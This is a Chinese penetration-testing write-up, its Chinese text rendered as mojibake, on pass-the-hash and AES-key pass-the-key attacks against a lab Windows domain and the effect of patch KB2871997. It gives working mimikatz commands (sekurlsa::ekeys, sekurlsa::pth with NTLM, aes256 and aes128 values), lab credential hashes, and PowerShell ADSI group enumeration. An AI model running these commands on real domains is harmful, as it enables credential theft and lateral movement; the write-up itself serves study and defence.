0x00
ǰÑÔ

¶ÔÓÚPass The Hash´ó¼ÒÓ¦¸Ã¶¼ºÜÊìϤ£¬ÔÚ2014Äê5Ô·¢ÉúÁËÒ»¼þÓÐȤµÄÊ¡£
΢ÈíÔÚ2014Äê5ÔÂ13ÈÕ·¢²¼ÁËÕë¶ÔPass The HashµÄ¸üв¹¶¡kb2871997£¬±êÌâΪ¡°Update
to fix the Pass-The-Hash Vulnerability¡±
¶øÔÚÒ»ÖܺóÈ´°Ñ±êÌâ¸Ä³ÉÁË¡°Update to improve credentials protection
and management¡±
ÏÂÃæ¾Í½áºÏÕâÖм䷢ÉúµÄÊÂÇé¸ü½øÒ»²½µÄÑо¿ÓòÉøÍ¸¡£
0x01 ¼ò½é
ÔÚÓòÉøÍ¸ÖУ¬HashºÍKeyÓÈÎªÖØÒª£¬¶ÔÆä»ñÈ¡ºÍÀûÓÃÒ»Ö±Êǹ¥·ÀË«·½×îÖ÷ÒªµÄ¹Ø×¢µã£¬ËùÒÔ±¾´Î¾Í´Óhash
ºÍkey¿ªÊ¼¡£
0x02 ²âÊÔ»·¾³
Óò¿Ø£º
os:server 2008 r2 x64 ip£º192.168.40.132 |
ÓòÄÚÖ÷»ú£º
os:win7 x64 ip£º192.168.40.225 |
0x03 Pass The Hash
ÔÚÉÏÆªLAPSÖÐÌáµ½£¬Èç¹ûÄÚÍøÖ÷»úµÄ±¾µØ¹ÜÀíÔ±ÕË»§ÃÜÂëÏàͬ£¬ÄÇô¿ÉÒÔͨ¹ýpass the hashÔ¶³ÌµÇ¼µ½ÈÎÒâһ̨Ö÷»ú£¬²Ù×÷¼òµ¥¡¢ÍþÁ¦ÎÞÇî¡£
ÔÚÓò»·¾³ÖУ¬ÀûÓÃpass the hashµÄÉøÍ¸·½Ê½ÍùÍùÊÇÕâÑùµÄ£º
»ñµÃһ̨ÓòÖ÷»úµÄȨÏÞ
DumpÄÚ´æ»ñµÃÓû§hash
ͨ¹ýpass the hash³¢ÊԵǼÆäËûÖ÷»ú
¼ÌÐøËѼ¯hash²¢³¢ÊÔÔ¶³ÌµÇ¼
Ö±µ½»ñµÃÓò¹ÜÀíÔ±ÕË»§hash£¬µÇ¼Óò¿Ø£¬×îÖճɹ¦¿ØÖÆÕû¸öÓò
ÏÂÃæ¼òÒª½éÉÜÒ»ÏÂPass The Hash¼¼Êõ·¢Õ¹µÄ¼¸¶ÎÀúÊ·
1¡¢2012Äê12ÔÂ
΢Èí·¢²¼ÁËÕë¶ÔPass The Hash¹¥»÷µÄ·ÀÓùÖ¸µ¼


ÎÄÕÂÌáµ½ÁËһЩ·ÀÓù·½·¨£¬²¢ÔÚÎÄÕÂÖÐ˵Ã÷ÁËΪʲô²»Õë¶ÔPass The HashÌṩ¸üв¹¶¡¡£
ËùÒÔÄÇʱºòPass The Hash³ÉΪÁËÖ÷Á÷µÄÓòÉøÍ¸·½·¨¡£
2¡¢2014Äê5ÔÂ13ÈÕ
΢ÈíÖÕÓÚ·¢²¼Á˸üв¹¶¡kb2871997£¬½ûÖ¹±¾µØ¹ÜÀíÔ±ÕË»§ÓÃÓÚÔ¶³ÌÁ¬½Ó£¬ÕâÑù¾ÍÎÞ·¨ÒÔ±¾µØ¹ÜÀíÔ±Óû§µÄȨÏÞÖ´ÐÐwmi¡¢PSEXEC¡¢schtasks¡¢atºÍ·ÃÎÊÎļþ¹²Ïí¡£
È»¶ø£¬CraigÔÚ²âÊÔÖз¢ÏÖ£¬ÔÚ´òÁ˲¹¶¡Ö®ºó£¬³£¹æµÄPass The HashÒѾÎÞ·¨³É¹¦£¬Î¨¶ÀĬÈϵÄ
Administrator (SID 500)Õ˺ÅÀýÍ⣬ÀûÓÃÕâ¸öÕ˺ÅÈÔ¿ÉÒÔ½øÐÐPass The HashÔ¶³ÌÁ¬½Ó¡£
²¢ÇÒÖµµÃ×¢ÒâµÄÊǼ´Ê¹administrator¸ÄÃû£¬ËüµÄSIDÈÔÈ»ÊÇ500£¬ÕâÖÖ¹¥»÷·½·¨ÒÀÈ»ÓÐЧ¡£ËùÒÔ¶ÔÓÚ·ÀÓùÀ´Ëµ£¬¼´Ê¹´òÁ˲¹¶¡Ò²Òª¼ÇµÃ½ûÓÃSID=500µÄ¹ÜÀíÔ±ÕË»§¡£
3¡¢Èç½ñ
´ó¼Ò¶ÔPass The HashµÄÈÏʶԽÀ´Ô½¸ß£¬·ÀÓù·½·¨Ô½À´Ô½¶à£¬±ÈÈçÉÏһƪÌáµ½µÄLAPS½â¾öÁËÓòÄÚÖ÷»ú±¾µØ¹ÜÀíÔ±ÃÜÂëÏàͬµÄÎÊÌâ¡£
ͬÑù£¬½ûÓÃNTLMʹµÃpsexecÎÞ·¨ÀûÓûñµÃµÄntlm hash½øÐÐÔ¶³ÌÁ¬½Ó¡£
4¡¢mimikatz³öÏÖ
ËüµÄ³öÏÖÔٴθıäÁ˸ñ¾Ö¡£mimikatzʵÏÖÁËÔÚ½ûÓÃNTLMµÄ»·¾³ÏÂÈÔÈ»¿ÉÒÔÔ¶³ÌÁ¬½Ó¡£
ÏÂÃæ¾Íʵ¼Ê²âÊÔÒ»ÏÂÆäÖеÄϸ½Ú
0x04 Pass The Key
²âÊÔ1£ºÊ¹ÓÃNTLM hashÔ¶³ÌÁ¬½Ó
ÒÑÖªÐÅÏ¢£º
Username : a * Domain : TEST * NTLM : efa85b42d77dc2fdbdbdb767792b0a11 |
Ô¶³ÌÖ÷»úip£º192.168.40.132

ÔÚ²âÊÔÖ÷»úÉÏ£º
ÒÔ¹ÜÀíԱȨÏÞÔËÐÐ
µ¯³öcmd
³É¹¦


×¢:
ËäÈ»"sekurlsa::pth"ÔÚmimikatzÖб»³ÆÖ®Îª"Pass
The Hash",µ«ÊÇÆäÒѾ³¬Ô½ÁËÒÔǰµÄ"Pass The Hash"£¬²¿·ÖÈ˽«ÆäÃüÃûΪ"Overpass-the-hash"£¬Ò²¾ÍÊÇ"Pass-the-key"
²âÊÔ2£ºÊ¹ÓÃaes keyÔ¶³ÌÁ¬½Ó
ÒÑÖªÐÅÏ¢£º
Username : a * Domain : TEST.LOCAL * Key List : aes256_hmac f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c aes128_hmac 8cce86e4b0630f07fcf5f2110068c421 rc4_hmac_nt efa85b42d77dc2fdbdbdb767792b0a11 rc4_hmac_old efa85b42d77dc2fdbdbdb767792b0a11 rc4_md4 efa85b42d77dc2fdbdbdb767792b0a11 rc4_hmac_nt_exp efa85b42d77dc2fdbdbdb767792b0a11 rc4_hmac_old_exp efa85b42d77dc2fdbdbdb767792b0a11 |
×¢£º
»ñÈ¡aes key µÄmimikatzÃüÁîΪ£º
mimikatz "privilege::debug" "sekurlsa::ekeys" |

Tips:
ͨ³£Çé¿öÏÂÎÞ·¨¶ÔmimikatzÊä³ö»ØÏÔµÄÄÚÈݽøÐи´ÖÆ£¬Ò»Öֺõķ½·¨ÊÇʹÓÃÈÕÖ¾¼Ç¼¹¦Äܽ«»ØÏÔÄÚÈÝÊä³öµ½ÎļþÖУ¬¿ªÆôÈÕÖ¾¼Ç¼¹¦Äܺó»á°ÑÊä³ö»ØÏÔµÄÄÚÈݱ£´æÔÚͬ¼¶Ä¿Â¼ÏµÄmimikatz.logÖУ¬ÃüÁî²Î¿¼ÈçÏ£º
mimikatz log privilege::debug sekurlsa::ekeys |
Èç¹ûͨ¹ýÓÒ¼ü-±à¼-±ê¼ÇµÄ·½Ê½¸´ÖÆÊý¾Ý£¬µ±Ç°´°¿Ú»á±ÀÀ£,Èçͼ£º

ÔÚ²âÊÔÖ÷»úÉÏ£º
ÒÔ¹ÜÀíԱȨÏÞÔËÐÐ
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local
/aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c" |
·¢ÏÖÎÞ·¨µ¼Èëaes256

ÎÞ·¨Ô¶³ÌÁ¬½Ó£¬

²é¿´mimikatzµÄÏà¹Ø×ÊÁÏ·¢ÏÖÈçÏÂÐÅÏ¢£º
ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997
(AES not available or replaceable) ; AES keys can be replaced only on 8.1/
2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash. |
¸ù¾ÝÌáʾ£¬³¢ÊÔÔÚϵͳ°²×°²¹¶¡kb2871997ºó¼ÌÐø²âÊÔ
²âÊÔ3£ºÊ¹ÓÃaes keyÔ¶³ÌÁ¬½Ó£¨kb2871997 Installed£©
ÒÑÖªÐÅÏ¢£º
Username : a * Domain : TEST.LOCAL * Key List : aes256_hmac f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c aes128_hmac 8cce86e4b0630f07fcf5f2110068c421 rc4_hmac_nt efa85b42d77dc2fdbdbdb767792b0a11 rc4_hmac_old efa85b42d77dc2fdbdbdb767792b0a11 rc4_md4 efa85b42d77dc2fdbdbdb767792b0a11 rc4_hmac_nt_exp efa85b42d77dc2fdbdbdb767792b0a11 rc4_hmac_old_exp efa85b42d77dc2fdbdbdb767792b0a11 |
²âÊÔÖ÷»ú£º
°²×°kb2871997²¹¶¡

ÔÚ²âÊÔÖ÷»úÉÏ£º
ÒÔ¹ÜÀíԱȨÏÞÔËÐÐ
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local
/aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c" |
¿ÉÒԳɹ¦µ¼Èëaes256

Ô¶³ÌÁ¬½Ó
³É¹¦

×¢£º
dirҪʹÓÃÖ÷»úÃû ¶ø²»ÊÇip£¬²»È»»áÌáʾÓû§Ãû»òÃÜÂë´íÎó
»»ÓÃaes128²âÊÔ£º
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes128:8cce86e4b0630f07fcf5f2110068c421" |


³É¹¦
×¢£º
Èç¹û²»¸ü»»ÃÜÂ룬aes key¿ÉÒÔÒ»Ö±±»ÓÃÀ´Ô¶³ÌÁ¬½Ó¡£
0x05 ²¹³ä
Èç¹ûÓò¿ØÈ¨ÏÞ·ÖÅä²»Ñϸñ£¬ÎÒÃÇÔÚÓòÆÕͨÓû§Ö÷»úÏÂͨ¹ýwmi²éѯ¿ÉÒԲ鵽µ±Ç°ÓòÄÚµÄÓû§×é
1¡¢²é¿´Administrators×é
powershellÖ´ÐÐ
$members = @($([ADSI]¡±WinNT://TEST/Administrators¡±).psbase.Invoke(¡°Members¡±)) $members | foreach { $_.GetType().InvokeMember(¡°ADspath¡±, ¡®GetProperty¡¯, $null, $_, $null) } |

2¡¢²é¿´Domain Users×é
$members = @($([ADSI]¡±WinNT://TEST/Domain Users¡±).psbase.Invoke(¡°Members¡±)) $members | foreach { $_.GetType().InvokeMember(¡°ADspath¡±, ¡®GetProperty¡¯, $null, $_, $null) } |

0x06 С½á
×öÈκÎÊÂÇé¶¼Ò»Ñù£¬Ï¸½ÚÍùÍù¾ö¶¨³É°Ü£¬Ö»ÓÐÔÚÉîÈëÁ˽âºóÎҲŷ¢ÏÖaes keyºÍkb2871997Ö®¼äµÄ¹ØÏµ£¬²Å½âËøÁËÔ¶³ÌÁ¬½ÓµÄз½·¨¡£ |